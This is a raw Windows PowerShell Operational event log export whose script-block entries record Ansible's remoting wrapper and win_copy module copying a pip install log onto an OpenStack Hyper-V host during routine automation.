biBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_copy_mode": "single", "_ansible_remote_tmp": "%TEMP%", "_ansible_syslog_facility": "LOG_USER", "_ansible_keep_remote_files": false, "_ansible_socket": null, "_original_basename": "pip-install-networking-hyperv.log", "_ansible_check_mode": false, "src": "C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611042895.56-193162524298652\\source", "_ansible_no_log": false, "_ansible_module_name": "copy", "_ansible_verbosity": 4, "dest": "c:\\openstack\\log\\pip-install-networking-hyperv.log", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611042895.56-193162524298652'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 50b5db7f-3cdc-4253-9670-41dcaa477881
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1736 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 3940 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0003-3df1-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
wogICAgTmV3LUFsaWFzIC1OYW1lIEdldC1hdHRyIC1WYWx1ZSBHZXQtQW5zaWJsZVBhcmFtCn0KCkZ1bmN0aW9uIENvbnZlcnRUby1Cb29sCns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CiAgICAkZGVzdF9wYXRoID0gJHNoZWxsLk5hbWVTcGFjZSgkZGVzdCkKCiAgICBmb3JlYWNoICgkZW50cnkgaW4gJHppcC5JdGVtcygpKSB7CiAgICAgICAgJGlzX2RpciA9ICRlbnRyeS5Jc0ZvbGRlcgogICAgICAgICRlbmNvZGVkX2FyY2hpdmVfZW50cnkgPSAkZW50cnkuTmFtZQogICAgICAgICMgdG8gaGFuZGxlIHVuaWNvZGUgY2hhcmFjdGVyLCB3aW5fY29weSBhY3Rpb24gcGx1Z2luIGhhcyBlbmNvZGVkIHRoZSBmaWxlbmFtZQogICAgICAgICRkZWNvZGVkX2FyY2hpdmVfZW50cnkgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlbmNvZGVkX2FyY2hpdmVfZW50cnkpKQogICAgICAgIGlmICgkaXNfZGlyKSB7CiAgICAgICAgICAgICRkZWNvZGVkX2FyY2hpdmVfZW50cnkgPSAiJGRlY29kZWRfYXJjaGl2ZV9lbnRyeS8iCiAgICAgICAgfQoKI
ScriptBlock ID: 50b5db7f-3cdc-4253-9670-41dcaa477881
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1735 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 3940 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0003-3df1-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3Y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MaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyB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yBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIG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RmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICA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BTaWxlbnRseUNvbnRpbnVlKSkKe
ScriptBlock ID: 50b5db7f-3cdc-4253-9670-41dcaa477881
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1734 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 3940 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0003-3df1-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1733 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 4032 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0001-6329-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3612 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1732 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 4260 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0001-6329-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1731 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 4032 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0001-6329-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
begin {
$path = 'C:\Users\Admin\AppData\Local\Temp\ansible-tmp-1611042895.56-193162524298652\source'
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
$fd = [System.IO.File]::Create($path)
$sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @() #initialize for empty file case
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null
$hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()
$fd.Close()
Write-Output "{""sha1"":""$hash""}"
}
ScriptBlock ID: 5c0d2136-d31a-44d3-b235-c045c5bf37d2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1730 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4692 | 4496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0001-5829-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1729 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4692 | 4208 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0002-77fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4692 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1728 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4692 | 3528 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0002-77fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1727 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4692 | 4208 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:56 AM | dfeadd90-ee34-0002-77fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1726 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1392 | 3168 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0001-5629-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1392 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1725 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1392 | 3700 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0001-5629-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1724 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1392 | 3168 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0001-5629-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1723 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5032 | 3476 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0001-5529-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 5032 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1722 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5032 | 4296 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0001-5529-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1721 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5032 | 3476 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0001-5529-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
